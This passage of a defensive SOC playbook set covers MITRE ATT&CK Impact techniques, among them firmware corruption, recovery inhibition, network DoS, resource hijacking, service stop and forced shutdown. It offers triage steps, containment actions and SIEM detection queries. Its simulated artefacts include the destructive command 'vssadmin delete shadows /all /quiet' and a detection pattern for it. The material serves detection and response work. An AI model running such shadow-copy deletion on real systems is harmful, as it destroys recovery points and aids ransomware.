User=finance_user01

C) Timing Anomaly

TransactionTime=02:14 AM

D) Approval Bypass

ApprovalWorkflow=Skipped

E) Credential Abuse

AuthMethod=ValidCredentials
MFA=NotEnforced

F) Prior Phishing

Event=CredentialHarvesting
User=finance_user01

Severity decision (SOC)

High

- Attempted or blocked financial theft

Critical

- Successful transfer or irreversible loss
- Multiple transactions or systemic abuse
- Theft tied to broader compromise

Example severity: Critical

(Confirmed financial loss)

Step-by-step SOC workflow

Step 1 Validate financial theft activity

Confirm:

1. Was money moved or redirected without authorisation?
2. Were controls or approvals bypassed?
3. Is the activity linked to compromised identities or systems?
4. Are additional transactions pending or scheduled?

Decision point

- Legitimate transaction → document
- Financial theft → escalate immediately

Step 2 Identify theft method and scope

Method	Evidence	Attacker value
Bank transfer	Transaction logs	Immediate cash
Vendor redirection	Bank detail changes	Stealth
Payroll abuse	Payroll edits	Recurrent theft
Refund fraud	Refund records	Low scrutiny
Cloud billing abuse	Cost spikes	Monetisation

Step 3 Map behaviour to attacker intent

3A) Rapid Monetisation

Indicators

- Transfers soon after access

Attacker intent

- Beat detection and response

3B) Stealth Theft

Indicators

- Vendor or invoice manipulation

Attacker intent

- Blend into normal processes

3C) Recurrent Drain

Indicators

- Scheduled payments altered

Attacker intent

- Long-term financial extraction

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Phishing, MFA bypass
2. Account Manipulation
 - Privilege or approval changes
3. Email Bombing
 - Distraction during theft
4. Defense Evasion
 - Log or alert suppression

Decision point

- Evidence found → escalate to Major Incident / Fraud IR

Containment actions

Immediate

1. Halt pending and scheduled transactions
2. Lock affected financial accounts
3. Notify bank/payment providers immediately

If theft confirmed

1. Attempt transaction recall or freeze
2. Disable compromised credentials and sessions
3. Preserve financial and audit logs
4. Notify SOC leadership, Finance, Legal, Risk and Executive teams

Eradication and recovery

- Remove attacker access and persistence
- Reset credentials and enforce MFA

- Reconcile accounts and financial records
- Strengthen approval and verification workflows
- Monitor closely for repeat attempts

Detection engineering (SIEM ideas)

A) High-risk financial actions outside business hours

```
index=finance
| where action IN ("Transfer","UpdateVendorBank")
| where hour(_time) NOT IN business_hours
```

B) Approval bypass detection

```
index=finance
| where approval_status="Skipped"
```

C) Financial action after phishing

```
index=finance
| join user [search index=security where event="Phishing"]
```

Analyst checklist

- Financial theft confirmed
- Transactions halted or recovered
- Compromised access disabled
- Financial impact assessed
- Incident escalated appropriately

Post-incident improvements

- Treat financial systems as high-impact assets
- Enforce MFA and dual approval for all payment changes
- Add cooling-off periods for vendor bank updates
- Correlate phishing → account abuse → financial loss
- Include financial theft scenarios in SOC and fraud exercises

Playbook 245 (MITRE Impact): Firmware Corruption

Technique: Firmware Corruption

Purpose

Detect, investigate and respond to attackers corrupting or modifying firmware to cause persistent, low-level and often irreversible impact, enabling attackers to:

- Permanently disable or destabilise systems
- Prevent devices from booting or functioning correctly
- Bypass operating system-level security controls
- Establish near-undetectable persistence
- Escalate impact beyond software recovery

Firmware Corruption is below-the-OS destruction when firmware is compromised, reimaging the OS is no longer sufficient.

When to trigger this playbook

Trigger this playbook when indicators suggest firmware-level tampering or failure, including:

- Systems failing POST or boot without hardware faults
- UEFI/BIOS checksum or integrity verification failures
- Firmware version changes without maintenance records
- Network, storage or peripheral devices behaving erratically
- Destructive impact persisting after disk wipe or OS reinstall

Example use case scenario (end-to-end)

Context: After a confirmed breach, several servers fail to boot even after full disk replacement. UEFI/BIOS logs show corrupted firmware modules. Firmware update history indicates an unauthorised flash operation executed days earlier using administrative credentials. Backups and OS images are intact but unusable.

Attacker objective: Cause long-term, hardware-level disruption and prevent system recovery.

Defender objective: Confirm firmware compromise, isolate affected hardware and initiate hardware recovery or replacement.

What it looks like (simulated SOC artefacts)

A) Firmware Integrity Failure

Component=UEFI
IntegrityCheck=Failed

B) Unauthorised Firmware Update

Action=FlashFirmware
User=svc_admin
ApprovedChange=None

C) Boot Failure

Stage=POST
Error=FirmwareModuleMissing

D) Persistent Impact

OSReinstall=Completed
Status=StillUnbootable

E) Device Scope

AffectedAssets=Servers, NetworkDevices

F) Timing Correlation

Event=FirmwareFlash
PrecededBy=PrivilegedAccess

Severity decision (SOC)

High

- Firmware corruption limited to non-critical devices

Critical

- Production servers, network devices or endpoints affected
- Recovery requires hardware replacement
- Firmware corruption linked to confirmed intrusion

Example severity: Critical

(Hardware-level compromise causing prolonged outage)

Step-by-step SOC workflow

Step 1 Validate firmware corruption

Confirm:

1. Is the issue below the operating system level?
2. Does corruption persist across OS reinstalls?
3. Was firmware modified or flashed without approval?
4. Are multiple devices or models affected?

Decision point

- Hardware defect → route to IT Ops
- Malicious firmware corruption → escalate immediately

Step 2 Identify affected firmware and scope

Firmware Type	Evidence	Attacker value
UEFI/BIOS	Boot failures	System denial
Network firmware	Packet loss, resets	Infra disruption
Storage firmware	Disk errors	Data unavailability
Peripheral firmware	Device malfunction	Stealth impact
Supply chain overlap	Similar models	Scale

Step 3 Map behaviour to attacker intent

3A) Irreversible Impact

Indicators

- Devices unrecoverable via software

Attacker intent

- Force hardware replacement

3B) Deep Persistence

Indicators

- Firmware modification during compromise

Attacker intent

- Survive OS-level remediation

3C) Operational Paralysis

Indicators

- Critical infrastructure affected

Attacker intent

- Prolong outage and recovery

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Privilege Escalation
 - Firmware flashing requires admin/root
2. Defense Evasion
 - Removal of firmware logs
3. Disk Wipe
 - Multi-layer destruction
4. Supply Chain Compromise
 - Shared firmware images

Decision point

- Evidence found → escalate to Crisis / Hardware IR

Containment actions

Immediate

1. Power down affected systems to prevent further damage
2. Isolate impacted hardware from the network
3. Preserve firmware images and logs where possible

If firmware corruption confirmed

1. Block firmware flashing tools and interfaces
2. Revoke credentials used for firmware access
3. Notify SOC leadership, IT Ops, IR, Vendors and Executive teams
4. Engage hardware manufacturers for validation and recovery

Eradication and recovery

- Reflash firmware from trusted, vendor-verified images (if possible)
- Replace hardware that cannot be trusted or recovered
- Rebuild systems from clean hardware roots
- Re-establish secure boot and firmware integrity checks
- Monitor for re-occurrence across similar devices

Detection engineering (SIEM ideas)

A) Firmware flash monitoring

```
index=system  
| where action="FlashFirmware"  
| where approved_change!="true"
```

B) Boot integrity failures

```
index=system  
| where event IN ("UEFIIntegrityFail","POSTError")
```

C) Privileged access before firmware change

```
index=system  
| join host [search index=auth where role="Admin"]
```

Analyst checklist

- Firmware corruption confirmed
- Affected hardware identified and isolated
- Recovery or replacement plan initiated
- Vendor engagement completed
- Incident escalated appropriately

Post-incident improvements

- Treat firmware access as a critical security boundary
- Enforce hardware-level integrity and secure boot
- Restrict and monitor firmware flashing capabilities
- Maintain firmware inventories and baselines
- Include firmware-corruption scenarios in crisis and DR exercises

Playbook 246 (MITRE Impact): Inhibit System Recovery

Technique: Inhibit System Recovery

Purpose

Detect, investigate and respond to attacker actions that deliberately prevent or degrade system recovery, enabling attackers to:

- Block restoration from backups or snapshots
- Disable recovery, rollback or failover mechanisms
- Extend downtime and operational disruption
- Increase leverage during extortion or ransomware events
- Ensure destructive actions have lasting impact

Inhibit System Recovery is impact amplification attackers don't just break systems; they ensure defenders can't fix them quickly.

When to trigger this playbook

Trigger this playbook when indicators suggest intentional sabotage of recovery mechanisms, including:

- Backup services stopped, deleted or misconfigured
- Shadow copies or snapshots removed
- Recovery partitions or boot recovery options disabled
- Cloud snapshots or backups deleted or corrupted
- Recovery actions failing after otherwise recoverable incidents

Example use case scenario (end-to-end)

Context: During a ransomware incident, SOC attempts to restore affected servers from backups. Backup consoles show recent deletion of snapshots and backup jobs disabled. EDR telemetry reveals execution of commands to delete shadow copies hours before encryption. Cloud audit logs show snapshot deletions from an admin API key.

Attacker objective: Prevent recovery to force ransom payment and prolong outage.

Defender objective: Identify recovery inhibition, preserve remaining restore points and initiate alternate recovery paths.

What it looks like (simulated SOC artefacts)

A) Backup Deletion

Action=DeleteBackup
Scope=All
User=svc_backup_admin

B) Shadow Copy Removal

Command=vssadmin delete shadows /all /quiet

C) Recovery Service Disabled

Service=BackupAgent
Status=Stopped
StartupType=Disabled

D) Snapshot Deletion (Cloud)

Action=DeleteSnapshot
Resource=VM-Snapshot-Prod

E) Recovery Failure

RestoreAttempt=Failed
Reason=NoRecoveryPoints

F) Timing Correlation

Event=RecoveryInhibition
PrecededBy=Encryption

Severity decision (SOC)

High

- Partial recovery inhibition with alternate restore paths available

Critical

- Recovery mechanisms fully disabled or destroyed
- Inhibition tied to ransomware or destructive attack
- Prolonged business outage likely

Example severity: Critical

(Deliberate prevention of system recovery)

Step-by-step SOC workflow

Step 1 Validate recovery inhibition

Confirm:

1. Are recovery mechanisms disabled, deleted or corrupted?
2. Did the inhibition occur before or during an attack?
3. Was the action authorised or expected?
4. Does inhibition significantly extend outage or data loss?

Decision point

- Legitimate maintenance → document
- Malicious recovery inhibition → escalate immediately

Step 2 Identify inhibition methods and scope

Method	Evidence	Attacker value
Backup deletion	Missing restore points	Recovery denial
Shadow copy removal	VSS deletion	Fast impact
Service disablement	Backup agent stopped	Persistence
Snapshot removal	Cloud audit logs	Scale
Recovery partition damage	Boot failures	Last-resort denial

Step 3 Map behaviour to attacker intent

3A) Ransomware Leverage

Indicators

- Recovery disabled before encryption

Attacker intent

- Force payment

3B) Maximum Disruption

Indicators

- All recovery paths removed

Attacker intent

- Prolong outage

3C) Covering Destruction

Indicators

- Recovery inhibited after destructive actions

Attacker intent

- Prevent remediation

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Data Encrypted for Impact
 - Ransomware execution
2. Disk Wipe
 - Irreversible destruction
3. Firmware Corruption
 - Hardware-level impact
4. Account Access Removal
 - Locking out responders

Decision point

- Evidence found → escalate to Crisis / Ransomware IR

Containment actions

Immediate

1. Protect remaining backups and snapshots (make immutable/offline)
2. Re-enable or isolate backup infrastructure
3. Revoke credentials used for destructive recovery actions

If recovery inhibition confirmed

1. Preserve logs and evidence of recovery sabotage
2. Activate disaster recovery and business continuity plans
3. Engage backup vendors and cloud providers immediately
4. Notify SOC leadership, IT Ops, IR, Legal, Risk and Executives

Eradication and recovery

- Remove attacker access and persistence
- Rebuild backup and recovery infrastructure
- Restore from offline, immutable or tertiary backups
- Revalidate recovery workflows end-to-end
- Monitor closely for repeat recovery sabotage

Detection engineering (SIEM ideas)

A) Backup or snapshot deletion

```
index=backup OR index=cloud_audit  
| where action IN ("DeleteBackup","DeleteSnapshot")  
| where approved_change!="true"
```

B) Shadow copy removal

```
index=edr  
| where command LIKE "%vssadmin delete%"
```

C) Backup service disablement

```
index=system  
| where service IN ("BackupAgent","RecoveryService")  
| where status="Disabled"
```

Analyst checklist

- Recovery inhibition confirmed
- Methods and scope identified
- Remaining recovery assets protected
- DR/BCP activated if required
- Incident escalated appropriately

Post-incident improvements

- Treat recovery mechanisms as high-value attack targets
- Enforce immutability and offline backups
- Monitor and alert on backup, snapshot and VSS deletion
- Correlate intrusion → recovery sabotage → destructive impact
- Include recovery-inhibition scenarios in ransomware and crisis drills

Playbook 247 (MITRE Impact): Network Denial of Service

Technique: Network Denial of Service

Sub-techniques:

- Direct Network Flood
- Reflection Amplification

Purpose

Detect, investigate and respond to attacks that overwhelm network capacity to disrupt availability, enabling attackers to:

- Saturate bandwidth and network devices
- Render services unreachable to legitimate users
- Disrupt business operations at scale
- Distract defenders during parallel intrusions
- Apply pressure, coercion or retaliation

Network DoS is availability warfare at scale attackers don't target hosts or apps first; they choke the network itself.

When to trigger this playbook

Trigger this playbook when indicators suggest network-level traffic flooding, including:

- Sudden, massive spikes in inbound or outbound traffic
- Network links saturated without legitimate demand
- Firewall, router or load balancer CPU exhaustion
- Services unreachable while hosts remain healthy
- Traffic sourced from many IPs or spoofed addresses

Example use case scenario (end-to-end)

Context: SOC receives alerts that public-facing services are unreachable. Network monitoring shows inbound traffic peaking at 80 Gbps, far exceeding normal baselines. Packet analysis reveals two patterns:

- Sustained TCP SYN floods from many IPs
- Large UDP responses originating from DNS and NTP servers unrelated to the organisation

No internal systems show compromise.

Attacker objective: Disrupt service availability and cause maximum external impact.

Defender objective: Stabilise network availability, absorb or block attack traffic and restore services.

What it looks like (simulated SOC artefacts)

A) Direct Network Flood

TrafficType=TCP SYN
PacketsPerSecond=VeryHigh
SourceIPs=Many

B) Reflection Amplification

Protocol=DNS
RequestSize=60 bytes
ResponseSize=4000 bytes

C) Bandwidth Saturation

LinkUtilisation=100%
Duration=Continuous

D) Network Device Stress

Device=Firewall
CPU=95%

E) Spoofed Sources

SourceIP=Randomised
Geo=Global

F) Service Impact

ServiceStatus=Unreachable
HostStatus=Healthy

Severity decision (SOC)

High

- Short-lived or partially mitigated network flooding

Critical

- Sustained DoS causing service outage
- Reflection amplification attacks exceeding capacity
- DoS coordinated with other attack phases

Example severity: Critical

(Network-level outage impacting external or internal services)

Step-by-step SOC workflow

Step 1 Validate network DoS activity

Confirm:

1. Is traffic volume abnormally high and sustained?
2. Are services unreachable without host compromise?
3. Is traffic malicious (flooding, spoofed, amplified)?
4. Is the impact organisation-wide or customer-facing?

Decision point

- Legitimate traffic surge → document
- Malicious network DoS → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Direct flood	SYN/UDP floods	Simplicity
Reflection	DNS/NTP amplification	Bandwidth multiplier
Spoofing	Random source IPs	Attribution evasion
Multi-vector	Mixed protocols	Resilience
Infra targeting	Edge devices	Collapse defenses

Step 3 Map behaviour to attacker intent

3A) Availability Disruption

Indicators

- Network saturation

Attacker intent

- Deny service access

3B) Reputational Damage

Indicators

- Public service outage

Attacker intent

- Harm brand and trust

3C) Distraction or Pressure

Indicators

- DoS during other incidents

Attacker intent

- Divert response resources

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Intrusion Attempts
 - Access during DoS distraction
2. Service Stop
 - Targeted app disruption
3. Financial Theft
 - Fraud during outage
4. Account Access Removal
 - Lockout of responders

Decision point

- Evidence found → escalate to Major Incident / Coordinated Attack IR

Containment actions

Immediate

1. Engage DDoS mitigation services or upstream providers
2. Apply rate limiting and traffic filtering at network edge

3. Blackhole or sinkhole attack traffic where appropriate

If network DoS confirmed

1. Activate ISP, CDN or scrubbing centre support
2. Block abused protocols or ports temporarily
3. Adjust firewall and load balancer thresholds
4. Notify SOC leadership, IT Ops, Network Ops and Communications teams

Eradication and recovery

- Maintain mitigation until traffic subsides
- Gradually restore normal routing and filtering
- Validate network and service stability
- Review logs for intrusion attempts during DoS
- Monitor closely for repeat or multi-wave attacks

Detection engineering (SIEM ideas)

A) Traffic volume anomaly

```
index=netflow
| bucket _time span=1m
| stats sum(bytes) by _time
| where sum(bytes) > baseline
```

B) Reflection amplification detection

```
index=netflow
| where protocol IN ("DNS","NTP","SSDP","CLDAP")
| where bytes_out >> bytes_in
```

C) Edge device exhaustion

```
index=network_device
| where cpu > 85
```

Analyst checklist

- Network DoS confirmed (Direct / Reflection)
- Scope and impacted services identified
- Mitigation engaged and traffic stabilised
- Concurrent attacks investigated
- Incident escalated appropriately

Post-incident improvements

- Treat network saturation as a critical impact signal
- Pre-arrange DDoS mitigation and ISP escalation paths
- Harden exposed protocols against amplification abuse
- Correlate DoS → intrusion or fraud attempts
- Include multi-vector DoS scenarios in crisis and SOC exercises

Playbook 248 (MITRE Impact): Resource Hijacking

Technique: Resource Hijacking

Sub-techniques:

- Compute Hijacking
- Bandwidth Hijacking
- SMS Pumping
- Cloud Service Hijacking

Purpose

Detect, investigate and respond to attackers abusing organisational resources for their own benefit, enabling attackers to:

- Monetise compromised environments (crypto-mining, botnets)
- Consume bandwidth for malicious activity or resale
- Generate direct financial charges via SMS or cloud usage
- Degrade performance and availability for legitimate users
- Hide malicious activity behind “normal” resource consumption

Resource Hijacking is covert monetisation and degradation systems still work, but for the attacker first.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or abnormal resource consumption, including:

- Sudden spikes in CPU, GPU or compute usage
- Unexpected outbound traffic volumes or patterns
- Unexplained SMS or telecom charges
- Cloud bills or usage exceeding baselines
- Resources consumed without corresponding business workload

Example use case scenario (end-to-end)

Context: Cloud FinOps flags a 5× increase in compute spend overnight. Monitoring shows multiple new GPU-enabled instances running continuously. EDR detects a crypto-mining process on several servers. Separately, telecom reports abnormal SMS charges from an application account.

Attacker objective: Exploit resources to generate profit and infrastructure at the victim’s expense.

Defender objective: Stop abuse, reclaim resources and prevent further financial loss.

What it looks like (simulated SOC artefacts)

A) Compute Hijacking

CPUUsage=98%
GPUUsage=100%
Process=minerd

B) Bandwidth Hijacking

OutboundTraffic=VeryHigh
Destination=UnknownIPs

C) SMS Pumping

SMSCount=120,000
Destination=PremiumNumbers

D) Cloud Service Hijacking

NewInstances=25
InstanceType=GPU-Optimised
Owner=Unknown

E) Cost Anomaly

CloudSpendIncrease=400%

F) No Business Justification

ApprovedWorkload=None

Severity decision (SOC)

High

- Limited resource abuse with contained cost impact

Critical

- Large-scale or sustained hijacking
- Significant financial loss or service degradation
- Resource abuse linked to confirmed intrusion

Example severity: Critical

(Ongoing monetisation using victim infrastructure)

Step-by-step SOC workflow

Step 1 Validate resource hijacking

Confirm:

1. Is resource usage abnormal and unauthorised?
2. Does usage lack a legitimate business driver?
3. Is the activity persistent or scalable?
4. Is there financial or operational impact?

Decision point

- Legitimate workload → document
- Malicious resource hijacking → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Compute hijacking	CPU/GPU saturation	Crypto mining
Bandwidth hijacking	Excessive egress	Botnet / resale
SMS pumping	Premium SMS volume	Direct revenue
Cloud hijacking	Rogue resources	Scalable abuse
Credential abuse	Valid access	Stealth

Step 3 Map behaviour to attacker intent

3A) Financial Monetisation

Indicators

- Mining, SMS abuse, cloud charges

Attacker intent

- Direct profit

3B) Infrastructure Abuse

Indicators

- High bandwidth or compute

Attacker intent

- Free attack infrastructure

3C) Stealth Persistence

Indicators

- Long-running low-noise usage

Attacker intent

- Prolonged exploitation

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Stolen cloud or app credentials
2. Persistence
 - Backdoor accounts or startup scripts
3. Defense Evasion
 - Throttled or hidden usage
4. Other Impact
 - DoS or service degradation

Decision point

- Evidence found → escalate to Major Incident / Fraud / Cloud IR

Containment actions

Immediate

1. Terminate unauthorised processes, instances and jobs
2. Block outbound traffic or SMS routes as needed
3. Suspend compromised accounts, keys or tokens

If resource hijacking confirmed

1. Enforce spend limits and quotas

2. Rotate credentials and API keys
3. Preserve logs and cost records
4. Notify SOC leadership, IT Ops, Finance, Cloud Ops and Legal

Eradication and recovery

- Remove malicious software or configurations
- Rebuild affected systems or cloud environments
- Reinstate services with validated configurations
- Monitor resource usage continuously
- Reconcile and recover financial losses where possible

Detection engineering (SIEM ideas)

A) Compute usage anomaly

```
index=metrics  
| where cpu > 90 OR gpu > 90  
| stats avg(cpu) by host
```

B) Cloud spend anomaly

```
index=cloud_billing  
| stats sum(cost) by account  
| where sum(cost) > baseline
```

C) SMS pumping detection

```
index=telecom  
| stats count by destination  
| where count > threshold
```

Analyst checklist

- Resource hijacking confirmed
- Sub-technique identified (Compute / Bandwidth / SMS / Cloud)
- Abuse stopped and resources reclaimed
- Financial and operational impact assessed
- Incident escalated appropriately

Post-incident improvements

- Treat resource usage anomalies as security signals
- Enforce quotas, budgets and alerting on spend

- Lock down cloud and telecom APIs
- Correlate intrusion → resource abuse → financial loss
- Include resource-hijacking scenarios in SOC and FinOps exercises

Playbook 249 (MITRE Impact): Service Stop

Technique: Service Stop

Purpose

Detect, investigate and respond to attackers deliberately stopping services to disrupt availability and operations, enabling attackers to:

- Halt critical business applications or infrastructure services
- Cause cascading failures across dependent systems
- Mask or enable other attack activities (e.g., fraud, data theft)
- Apply pressure during extortion or retaliation campaigns
- Create targeted outages without destroying data

Service Stop is surgical availability disruption attackers selectively turn off what matters most.

When to trigger this playbook

Trigger this playbook when indicators suggest intentional service stoppage, including:

- Critical services stopped without approved change
- Repeated stop/start loops or disabled startup types
- Services stopping shortly before or during other attack phases
- Cloud services or managed workloads intentionally halted
- Operational impact disproportionate to the action taken

Example use case scenario (end-to-end)

Context: SOC receives alerts that payment processing is unavailable. System logs show the core payment service was stopped and set to “Disabled.” No change ticket exists. Minutes earlier, the same admin account accessed systems from an unusual location.

Attacker objective: Cause targeted outage to disrupt operations and divert response efforts.

Defender objective: Restore service availability quickly, identify the intrusion path and prevent recurrence.

What it looks like (simulated SOC artefacts)

A) Service Stop Action

Service=PaymentGateway
Action=Stop
User=admin_temp

B) Startup Disabled

StartupType=Disabled

C) Repeated Stops

Service=Database
StopCount=5

D) Cloud Service Halt

Action=StopService
Resource=ManagedDB

E) No Approved Change

ChangeTicket=None

F) Timing Correlation

Event=ServiceStop
PrecededBy=SuspiciousLogin

Severity decision (SOC)

High

- Non-critical or quickly recoverable service stop

Critical

- Business-critical service halted
- Coordinated stoppage across services
- Service stop linked to confirmed intrusion

Example severity: Critical

(Targeted outage impacting core operations)

Step-by-step SOC workflow

Step 1 Validate service stop activity

Confirm:

1. Was the service intentionally stopped or disabled?
2. Is the service business-critical or dependency-heavy?
3. Was the action authorised and documented?
4. Is activity linked to suspicious access or behaviour?

Decision point

- Approved maintenance → document
- Malicious service stop → escalate immediately

Step 2 Identify method and scope

Method	Evidence	Attacker value
Manual stop	Service control logs	Immediate impact
Startup disable	Config changes	Persistence
Repeated stop	Looping events	Sustained outage
Cloud stop	API audit logs	Scale
Dependency targeting	Downstream failures	Amplified impact

Step 3 Map behaviour to attacker intent

3A) Operational Disruption

Indicators

- Core services unavailable

Attacker intent

- Halt business processes

3B) Distraction

Indicators

- Service stop during other attacks

Attacker intent

- Divert SOC and IT response

3C) Pressure or Retaliation

Indicators

- Targeted or symbolic services stopped

Attacker intent

- Coerce or punish organisation

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Financial Theft
 - Fraud during outage
2. Resource Hijacking
 - Abuse while monitoring degraded
3. Account Access Removal
 - Lockout of responders
4. Data Impact
 - Manipulation or destruction

Decision point

- Evidence found → escalate to Major Incident / Coordinated Attack IR

Containment actions

Immediate

1. Restart affected services and restore startup settings
2. Isolate compromised accounts or systems
3. Monitor closely for repeated stop attempts

If malicious service stop confirmed

1. Disable attacker credentials and sessions
2. Lock down service control permissions
3. Preserve service and auth logs
4. Notify SOC leadership, IT Ops, Business Owners and Executives

Eradication and recovery

- Remove attacker access and persistence
- Harden service control mechanisms

- Validate service dependencies and health
- Implement additional monitoring and alerting
- Conduct controlled service restart testing

Detection engineering (SIEM ideas)

A) Unauthorised service stop

```
index=system
| where action="StopService"
| where approved_change!="true"
```

B) Startup type modification

```
index=system
| where action="ChangeStartupType"
| where new_value="Disabled"
```

C) Cloud service stop detection

```
index=cloud_audit
| where action IN ("StopService","DisableService")
```

Analyst checklist

- Service stop confirmed
- Impacted services and dependencies identified
- Services restored and protected
- Intrusion vector remediated
- Incident escalated appropriately

Post-incident improvements

- Treat service control actions as high-risk events
- Enforce MFA and approvals for service management
- Monitor and alert on stop/disable actions
- Correlate intrusion → service stop → business impact
- Include service-stop scenarios in SOC and IR exercises

Playbook 250 (MITRE Impact): System Shutdown / Reboot

Technique: System Shutdown / Reboot

Purpose

Detect, investigate and respond to attackers intentionally shutting down or rebooting systems to disrupt availability, halt operations or amplify other impacts, enabling attackers to:

- Instantly interrupt business operations
- Break transactional integrity and in-flight processes
- Disrupt monitoring, detection or response activities
- Trigger cascading failures in dependent systems
- Increase pressure during extortion, retaliation or sabotage

System Shutdown/Reboot is blunt availability disruption attackers don't damage data directly; they pull the plug at the worst possible moment.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or malicious system shutdowns or reboots, including:

- Systems powering off or rebooting without change approval
- Reboots occurring outside maintenance windows
- Repeated or coordinated reboots across multiple systems
- Shutdowns coinciding with other attack phases (encryption, fraud, exfiltration)
- Recovery or monitoring services interrupted by restarts

Example use case scenario (end-to-end)

Context: SOC receives alerts that multiple application servers rebooted simultaneously. System logs show shutdown commands executed by an admin account outside business hours. No maintenance window was scheduled. Minutes earlier, attackers attempted unauthorised access to financial systems.

Attacker objective: Disrupt operations and interrupt detection and response during active malicious activity.

Defender objective: Restore system availability, identify the source of shutdown commands and prevent recurrence.

What it looks like (simulated SOC artefacts)

A) Unauthorised Shutdown

Command=shutdown /s

User=admin_temp

B) Forced Reboot

Action=Restart

Reason=SystemPolicy

C) Coordinated Impact

AffectedHosts=15

TimeWindow=2 minutes

D) No Change Approval

ChangeTicket=None

E) Service Disruption

DependentServices=Stopped

F) Timing Correlation

Event=SystemReboot

PrecededBy=SuspiciousActivity

Severity decision (SOC)

High

- Single or limited reboot with minimal impact

Critical

- Coordinated shutdown/reboot of production systems
- Reboots disrupting critical business processes
- Shutdowns linked to confirmed intrusion or fraud

Example severity: Critical

(Coordinated system shutdown causing operational outage)

Step-by-step SOC workflow

Step 1 Validate shutdown / reboot activity

Confirm:

1. Was the shutdown or reboot intentional and unauthorised?
2. Did it occur outside approved maintenance windows?
3. Did it impact business-critical systems or services?
4. Is activity linked to suspicious access or commands?

Decision point

- Approved maintenance → document
- Malicious shutdown/reboot → escalate immediately

Step 2 Identify method and scope

Method	Evidence	Attacker value
Manual command	shutdown / reboot logs	Immediate outage
Scripted reboot	Scheduled or looped actions	Scale
Forced restart	Policy or API abuse	Disruption
Cloud VM reboot	API audit logs	Broad impact
Dependency impact	Cascading failures	Amplified damage

Step 3 Map behaviour to attacker intent

3A) Availability Disruption

Indicators

- Systems offline unexpectedly

Attacker intent

- Halt operations

3B) Detection Interference

Indicators

- Monitoring or EDR interrupted

Attacker intent

- Blind defenders

3C) Pressure or Retaliation

Indicators

- Targeted or symbolic system shutdowns

Attacker intent

- Coerce or punish organisation

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Service Stop
 - Additional targeted outages
2. Financial Theft
 - Fraud during downtime
3. Data Impact
 - Encryption or manipulation after reboot
4. Account Access Removal
 - Lockout of responders

Decision point

- Evidence found → escalate to Major Incident / Coordinated Attack IR

Containment actions

Immediate

1. Restore affected systems and services
2. Disable or isolate compromised accounts
3. Block shutdown/reboot commands where possible

If malicious shutdown confirmed

1. Preserve system and authentication logs
2. Lock down reboot and power control permissions
3. Monitor for repeated shutdown attempts
4. Notify SOC leadership, IT Ops, Business Owners and Executives

Eradication and recovery

- Remove attacker access and persistence
- Harden system power and reboot controls
- Validate system and application integrity post-restart
- Reinstate monitoring and alerting
- Conduct controlled restart testing where required

Detection engineering (SIEM ideas)

A) Unauthorised shutdown/reboot detection

```
index=system
| where event IN ("Shutdown","Restart")
| where approved_change!="true"
```

B) After-hours reboot activity

```
index=system
| where event="Restart"
| where hour(_time) NOT IN business_hours
```

C) Coordinated reboot correlation

```
index=system
| stats count by _time
| where count > threshold
```

Analyst checklist

- System shutdown/reboot confirmed
- Scope and impacted systems identified
- Systems restored and stabilised
- Intrusion vector remediated
- Incident escalated appropriately

Post-incident improvements

- Treat shutdown and reboot actions as high-risk control events
- Enforce MFA and approvals for power management
- Monitor and alert on shutdown/reboot commands
- Correlate intrusion → shutdown → business impact
- Include shutdown/reboot scenarios in SOC and IR exercises

SIEM Use Cases Mapped to MITRE ATT&CK

#	SIEM Use Case	MITRE ATT&CK Tactic	Technique	Technique ID
1	Brute Force Login Attempts	Credential Access	Brute Force	T1110
2	Password Spraying	Credential Access	Password Spraying	T1110.003
3	Impossible Travel / Geo-Anomalous Login	Initial Access	Valid Accounts	T1078
4	Account Compromise (Post-Auth Anomaly)	Defense Evasion	Valid Accounts	T1078
5	Privilege Escalation via Admin Group Change	Privilege Escalation	Account Manipulation	T1098
6	Malware Execution on Endpoint	Execution	User Execution	T1204
7	Suspicious PowerShell / Script Execution	Execution	Command and Scripting Interpreter (PowerShell)	T1059.001
8	Command-and-Control Beaconing	Command and Control	Application Layer Protocol	T1071
9	Data Exfiltration Over Network	Exfiltration	Exfiltration Over C2 Channel	T1041
10	Lateral Movement via RDP / SMB	Lateral Movement	Remote Services	T1021
11	MFA Fatigue / Push Bombing	Credential Access	Multi-Factor Authentication Request Generation	T1621
12	Token Theft / Session Hijacking	Credential Access	Steal Application Access Token	T1528
13	OAuth App Abuse	Persistence	Account Manipulation	T1098

14	Suspicious Service Creation	Persistence	Create or Modify System Process (Service)	T1543.003
15	Scheduled Task Persistence	Persistence	Scheduled Task / Job	T1053
16	Registry Run Key Persistence	Persistence	Boot or Logon Autostart Execution	T1547
17	Defense Evasion via Log Clearing	Defense Evasion	Clear Windows Event Logs	T1070.001
18	Suspicious Use of LOLBins	Defense Evasion	Living Off The Land Binaries and Scripts	T1218
19	Internal Network Scanning	Discovery	Network Service Scanning	T1046
20	Cloud API Enumeration	Discovery	Cloud Service Discovery	T1526
31	Ransomware File Encryption Activity	Impact	Data Encrypted for Impact	T1486
32	Shadow Copy Deletion	Impact	Inhibit System Recovery	T1490
33	Suspicious Mass File Renaming	Impact	Data Destruction	T1485
34	Data Wiping / Disk Destruction	Impact	Disk Wipe	T1561
35	Business Email Compromise (BEC)	Impact	Financial Theft	T1657
36	Unauthorized Data Deletion (DB / Cloud)	Impact	Data Destruction	T1485
37	Backup System Tampering	Impact	Inhibit System Recovery	T1490
38	Defacement of Web Application	Impact	Defacement	T1491
39	Cryptomining Activity	Impact	Resource Hijacking	T1496
40	Service Stop Across Multiple Hosts	Impact	Service Stop	T1489
41	Insider Data Exfiltration	Exfiltration	Exfiltration Over Web Service	T1567

42	Unusual Database Query Volume	Collection	Data from Information Repositories	T1213
43	API Abuse / Excessive API Calls	Exfiltration	Exfiltration Over Web Service	T1567
44	Cloud Storage Public Exposure	Exfiltration	Exfiltration to Cloud Storage	T1567.002
